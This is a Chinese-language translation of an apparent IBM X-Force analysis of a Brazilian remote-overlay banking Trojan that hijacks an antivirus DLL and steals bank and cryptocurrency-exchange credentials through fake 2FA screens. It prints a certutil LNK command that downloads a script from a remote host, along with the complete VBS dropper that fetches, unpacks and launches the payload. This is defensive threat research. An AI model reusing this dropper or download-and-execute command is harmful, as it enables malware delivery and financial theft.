越簡單越好?深入研究巴西金融網路犯罪中使用的惡意軟體
遠端overlay惡意軟體非常多產和通用,它時不時就會出現,但在巴西通常很少發現特殊或複雜的金融惡意軟體。而巴西金融網路犯罪分子使用的流行遠端覆蓋特洛伊木馬這個特殊的變體有什麼特別之處呢?首先,它使用了並不常見的動態連結庫(DLL)劫持技術。更有意思的是,惡意軟體的運營商不再只關注銀行,他們現在也有興趣竊取使用者的加密貨幣交換賬戶,這與金融網路犯罪對加密貨幣的興趣日益增長有關。
一、通過遠端會話感染巴西使用者
IBM X-Force研究持續跟蹤巴西的威脅形勢。在最近的分析中,我們的團隊觀察到遠端overlay系列惡意軟體的新變種感染了該地區的使用者。
遠端overlay特洛伊木馬在針對巴西使用者的欺詐中很常見。我們分析的最新變體使用DLL劫持技術遠端控制受感染的裝置,將其惡意程式碼載入到免費防病毒程式的合法二進位制檔案中。
惡意DLL是用Delphi程式語言編寫的曲型巴西惡意軟體,包含overlay影象(惡意軟體在受感染的使用者驗證線上銀行會話後在螢幕上overlay)。螢幕的外觀和感覺與受害者銀行的相匹配,需要提供個人資訊和雙因素身份驗證(2FA)。
二、對加密貨幣興趣與日俱增
加密貨幣交易賬戶正在變得比傳統賬戶更受歡迎,這是巴西當地欺詐者可能熟悉並準備利用的趨勢。
最近,巴西主要銀行攻擊活動中的變體針對加密貨幣交換平臺。攻擊方法類似於銀行目標:通過竊取使用者的帳戶憑據,接管他們的帳戶並將他們的錢轉移到犯罪分子的帳戶。
三、典型感染流程
檢視此遠端overly特洛伊木馬的感染例程表明,當潛在受害者被誘騙下載其認為是正式發票的檔案時,就會被初次感染。該檔案是一個存檔,其中包含最終會感染裝置的惡意指令碼。下面是典型感染策略的簡要流程:
1. 受害者使用搜尋引擎查詢提供商的網站並支付月度發票。第一個結果是攻擊者通過付費努力提升的惡意頁面,而不是真正的網站。受害者訪問該頁面並鍵入其ID詳細資訊以獲取發票。
2. 受害者不知不覺的下載了一個惡意LNK檔案(Windows快捷方式檔案),此檔案存檔在一個ZIP中,聲稱來自巴西交通運輸部DETRAN。
3. LNK檔案包含一個命令,該命令將從遠端伺服器下載惡意Visual Basic(VBS)指令碼,並使用合法的Windows程式 ofollow,noindex">certutil 執行。
4. 惡意VBS指令碼從攻擊者的遠端伺服器下載另一個ZIP檔案,這次包含惡意軟體的惡意DLL以及用於隱藏DLL的免費防病毒程式的合法二進位制檔案。
5. VBS指令碼執行惡意軟體,感染裝置。
6. 部署後,特洛伊木馬使用DLL劫持技術將其惡意DLL載入到防病毒程式的合法二進位制檔案中。這種迂迴感染例程有助於惡意軟體通過安全控制來逃避檢測。
7. 完成安裝後,惡意軟體監視受害者的瀏覽器,並在受害者瀏覽目標線上銀行網站或加密貨幣交換平臺時開始行動。
8. 惡意DLL元件為惡意軟體提供了遠端控制功能。
四、深入探究惡意LNK檔案
仔細檢視LNK檔案可以看出它濫用了certutil,certutil是作為證書服務的一部分安裝的。
首先,從名為“tudodebom”的遠端伺服器下載惡意指令碼:
“C:\Windows\System32\cmd.exe /V /C certutil.exe -urlcache -split -f “https://remoteserver/turbulencianoar/tudodebom.txt” %temp%\tudodebom.txt && cd %temp% && rename “tudodebom.txt“
· -urlcache 顯示或刪除URL快取條目。
·-split -f 強制獲取特定URL並更新快取。
獲取後,惡意軟體會將檔名和副檔名從“tudodebom.txt”更改為“JNSzlEYAIubkggX.vbs”:
“JNSzlEYAIubkggX.vbs” && C:\windows\system32\cmd.exe /k JNSzlEYAIubkggX.vbs“
LNK檔案呼叫Windows命令列(CMD)並執行certutil.exe以從遠端主機下載TXT檔案(.vbs):
hXXps://remoteserver/turbulencianoar/tudodebom.txt
最後,惡意軟體執行惡意VBS指令碼。
五、檢測VBS 指令碼
VBS指令碼下載包含惡意軟體載荷的ZIP存檔。然後,部署在受害者裝置上具有以下命名模式的目錄中:
“C:\AV product_” + RandomName + “\”
該過程完成後,該指令碼將執行合法但有毒的二進位制檔案,該二進位制檔案將載入惡意DLL並啟動與攻擊者的命令和控制(C&C)伺服器的連線。
這個例程中有趣的元素包括:
· 使用合法的遠端伺服器來託管攻擊工具;
· 濫用現有防病毒程式中的合法二進位制檔案來隱藏惡意軟體的DLL;
·惡意軟體的命名約定,可以使惡意軟體更容易在受感染的裝置上檢測和隔離。
在分析惡意軟體後,我們發現了特洛伊木馬用於部署其惡意DLL的VBS指令碼,其中包含以下內容:
Dim ubase, randname, exerandom, deffolder, filesuccess, filezip, fileexe, filedll Set objShell = CreateObject( “WScript.Shell” ) ubase = “https://remoteserver/turbulencianoar/AuZwaaU.zip” randname = getrandomstring() exerandom = “AV product.SystrayStartTrigger-” + randname filezip = “AuZwaaU.zip” deffolder = “C:\AV product_” + randname + “\” filesuccess = objShell.ExpandEnvironmentStrings(“%TEMP%”) + “\java_install.log” fileexe = “AuZwaaU.exe” filedll = “AuZwaaU.sys” Set objFSO = CreateObject(“Scripting.FileSystemObject”) If (objFSO.FileExists(filesuccess)) Then WScript.Quit End If If not (objFSO.FileExists(filezip)) Then Set objFile = objFSO.CreateTextFile(filesuccess, True) objFile.Write ” ” objFile.Close ‘WScript.Echo msg dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”) dim bStrm: Set bStrm = createobject(“Adodb.Stream”) xHttp.Open “GET”, ubase, False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filezip, 2 end with WScript.Sleep 5000 set objShellApp = CreateObject(“Shell.Application”) set FilesInZip=objShellApp.NameSpace(objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filezip).items objShellApp.NameSpace(objShell.ExpandEnvironmentStrings(“%TEMP%”)).CopyHere(FilesInZip) WScript.Sleep 5000 objFSO.DeleteFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filezip objFSO.CreateFolder deffolder WScript.Sleep 3000 objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & fileexe, deffolder & exerandom & “.exe” objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filedll, deffolder & “AV product.OE.NativeCore.dll” objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\msvcp120.sys”, deffolder & “msvcp120.dll” objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\msvcr120.sys”, deffolder & “msvcr120.dll” objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\LOG”, deffolder & “LOG” WScript.Sleep 5000 Set objFSO = CreateObject(“Scripting.FileSystemObject”) Set objShell = CreateObject( “WScript.Shell” ) outFile = objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & randname & “.bat” Set objFile = objFSO.CreateTextFile(outFile,True) objFile.Write “@echo off” & vbCrLf objFile.Write “@cd ” & deffolder & vbCrLf objFile.Write “start ” & exerandom & “.exe” & vbCrLf objFile.Close objShell.Exec(objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & randname & “.bat”) WScript.Sleep 10000 objFSO.DeleteFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & randname & “.bat” Set objShell = Nothing Set objFSO = Nothing Set objShellApp = Nothing End If Function getrandomstring() Dim intMax, k, intValue, strChar, strName Const Chars = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ” intMax = 6 Randomize() strName = “” For k = 1 To intMax intValue = Fix(62 * Rnd()) strChar = Mid(Chars, intValue + 1, 1) Randomize() intValue = Fix(62 * Rnd()) strChar = strChar & Mid(Chars, intValue + 1, 1) strName = strName & strChar If (k < 6) Then strName = strName & “” End If Next getrandomstring = strName End Function
六、遠端Overlay 影象
最後強調一點,惡意軟體的overlay影象不再是銀行木馬獨有的技術。我們的分析表明,巴西的欺詐者對搶劫使用者的加密貨幣同樣感興趣。
為實現這一目標,威脅行為者已經建立了許多overlay來匹配巴西使用的平臺(我們已經審查了下面的平臺徽標)。在每種情況下,攻擊者都會提示使用者驗證他或她的電子郵件地址和身份,並使用他們的標記化方法用新的一次性密碼確認使用者的安全性。
圖1:假overlay螢幕要求使用者提供有關其身份的資訊
圖2:假overlay螢幕要求使用者提交令牌號
2FA請求的overlay與目標平臺的使用者身份驗證元素首選項相匹配,幷包括來自電子郵件和社交帳戶的單點登入(SSO):
圖3:假overlay螢幕要求受感染使用者使用其網路郵件/社交帳戶進行SSO身份驗證
七、金融網路犯罪風險緩解
在巴西,惡意軟體是網路犯罪分子欺騙網際網路使用者的最多產的策略之一。由於每次攻擊都會影響大量使用者,所以感染率可能很高。但通過持續的使用者培訓以及在使用者裝置上安裝正確的控制元件幫助防範惡意軟體,可以降低風險。